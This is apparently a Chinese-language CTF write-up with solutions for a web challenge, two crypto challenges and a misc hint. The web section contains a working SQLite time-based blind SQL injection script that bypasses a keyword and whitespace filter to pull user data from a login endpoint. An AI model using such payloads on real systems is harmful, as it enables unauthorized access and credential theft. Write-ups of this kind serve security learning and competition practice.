WEB

奶龙回家

在做的时候尝试了时间盲注,但是MySQL中的sleep和benchmark被ban了,后面尝试无果,看wp才知道是sqlite的时间盲注,先fuzz测试下wafimage-20250216191415587

可知union,benchmark,sleep被过滤,但是实测空格和等号也被过滤了,用/**/代替空格,sqlite中的randomblob()来进行延时,最终脚本如下

import requests
import time

url = 'http://node.vnteam.cn:43292/login'
flag = ''

for i in range(1, 500):
low = 32
high = 128
mid = (low + high) // 2

while low < high:
time.sleep(0.2)

# 构造注入payload
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
# 另一个可选的payload,用于查询sqlite_master表中的sql字段
# payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(300000000)/**/else/**/0/**/end)/*".format(i, chr(mid))

datas = {
"username": "123",
"password": payload
}

start_time = time.time()
res = requests.post(url=url, json=datas)
end_time = time.time()

spend_time = end_time - start_time

if spend_time >= 0.19:
low = mid + 1
else:
high = mid

mid = (low + high) // 2

if mid == 32 or mid == 127:
break

flag += chr(mid)

print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))

但是只跑出来一次对的,很容易跑错,环境有问题,最后拿到nailong/woaipangmao114514登录获得flag

image-20250216200657077

CRYPTO

easymath

from sympy import symbols, solve, isprime
from sympy.ntheory.modular import crt
import binascii

# 用户提供的参数
polynomial_str = "x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619"
c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

# 解三次方程
x = symbols('x')
expr = x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619
roots = solve(expr, x)
p_candidates = [int(root.round()) for root in roots] # 四舍五入并转换为整数

# 筛选出正确的质数
primes = []
for p in p_candidates:
if isprime(p):
primes.append(p)
primes = sorted(primes, reverse=True) # 大到小排序
print("找到的质数:", primes)
p0, p1, p2 = primes

# 计算 N
N = p0 * p1 * p2
print("N =", N)

# 确保 c 是正确的模数
assert c < N, "c 的值超出模数范围"

# 解二次剩余
def tonelli_shanks(n, p):
if pow(n, (p - 1) // 2, p) != 1:
return None # 不是二次剩余
return pow(n, (p + 1) // 4, p)

r0 = tonelli_shanks(c, p0)
r1 = tonelli_shanks(c, p1)
r2 = tonelli_shanks(c, p2)

# 所有可能的符号组合
from itertools import product

solutions = []
signs = list(product([+1, -1], repeat=3))
for sign in signs:
a0 = (sign[0] * r0) % p0
a1 = (sign[1] * r1) % p1
a2 = (sign[2] * r2) % p2
solutions.append((a0, a1, a2))

# 使用CRT合并解
moduli = [p0, p1, p2]
possible_flags = []
for sol in solutions:
res = crt(moduli, sol)
if res is not None:
possible_flags.append(res[0])

# 去重并检查可能的解
possible_flags = list(set(possible_flags))
possible_flags = [f for f in possible_flags if f**2 % N == c]

# 输出所有可能的解
print("可能的 flag 解密结果:")
for f in possible_flags:
if f < 0:
f += N
print(f"候选解: {f}")
try:
flag_bytes = int.to_bytes(f, length=(f.bit_length() + 7) // 8, byteorder='big')
print(f"解码后的 flag: {flag_bytes.decode()}")
except UnicodeDecodeError:
print("解码失败,可能非 ASCII 串")

image-20250208141039127

sh1kaku_fw

import numpy as np
import random

def recover_s(b, q, A, e_L, seed):
# 初始化 s_prev
s_prev, _, _, _ = np.linalg.lstsq(A, b, rcond=None)
s_prev = np.round(s_prev).astype(int) # 四舍五入到最接近的整数
s_prev = (s_prev % q).astype(int) # 确保在 [0, q-1] 范围内
s_prev = (s_prev - q) * (s_prev > q//2) # 转换到中心对称形式

# 用于记录收敛情况
max_iter = 1000
for _ in range(max_iter):
# 模q计算当前的噪声向量 e_prev
e_prev = (b - np.mod(np.dot(A, s_prev), q)) % q

# 更新 e_new:选择最接近的 e_L 中的元素(环形距离)
e_new = np.zeros_like(e_prev)
for i in range(len(e_prev)):
e_candidates = list(e_L)
distances = []
for e in e_candidates:
diff = (e_prev[i] - e) % q
dist = min(diff, q - diff)
distances.append(dist)
# 选取距离最小的 e_L 中的元素
min_dist = min(distances)
selected_e = e_candidates[np.argmin(distances)]
e_new[i] = selected_e

e_new = e_new.astype(int)

# 更新目标向量
b_target = (b - e_new) % q

# 使用最小二乘法求解新的 s_prev
s_new, residuals, rank, singular = np.linalg.lstsq(A, b_target, rcond=None)
s_new = np.round(s_new).astype(int)
s_new = (s_new % q).astype(int) # 确保在 [0, q-1] 范围内
s_new = (s_new - q) * (s_new > q//2) # 转换到中心对称形式

# 收敛条件
if np.allclose(s_new, s_prev, atol=1e-8):
break
s_prev = s_new.copy()

return s_prev.tolist()

# 示例参数
n = 197
m = 19700
q = 793207 # 请用实际的 q 替换
e_L = [697190, 553357] # 请用实际的 e_L 替换
seed_hex = "821e479b8c3f5fee45819ed10a7f7177" # 示例十六进制值,请用实际的 seed_hex 替换
seed = bytes.fromhex(seed_hex)

# 重新生成矩阵 A
R_A = random.Random()
R_A.seed(seed)
A = np.array([[R_A.randrange(0, q) for _ in range(n)] for _ in range(m)])

# 示例 b 值(请用实际的 b 值替换)
b = np.array([...]) # 请用实际的 b 值替换

# 恢复 s
s_recovered = recover_s(b, q, A, e_L, seed)

print(f"Recovered s: {s_recovered}")

MISC

VN_Lang

根据算法脚本知道exe里面有原始数据,直接右键记事本搜VN找到(010同理)

2828b711eea15f50df9474bcc283b8cc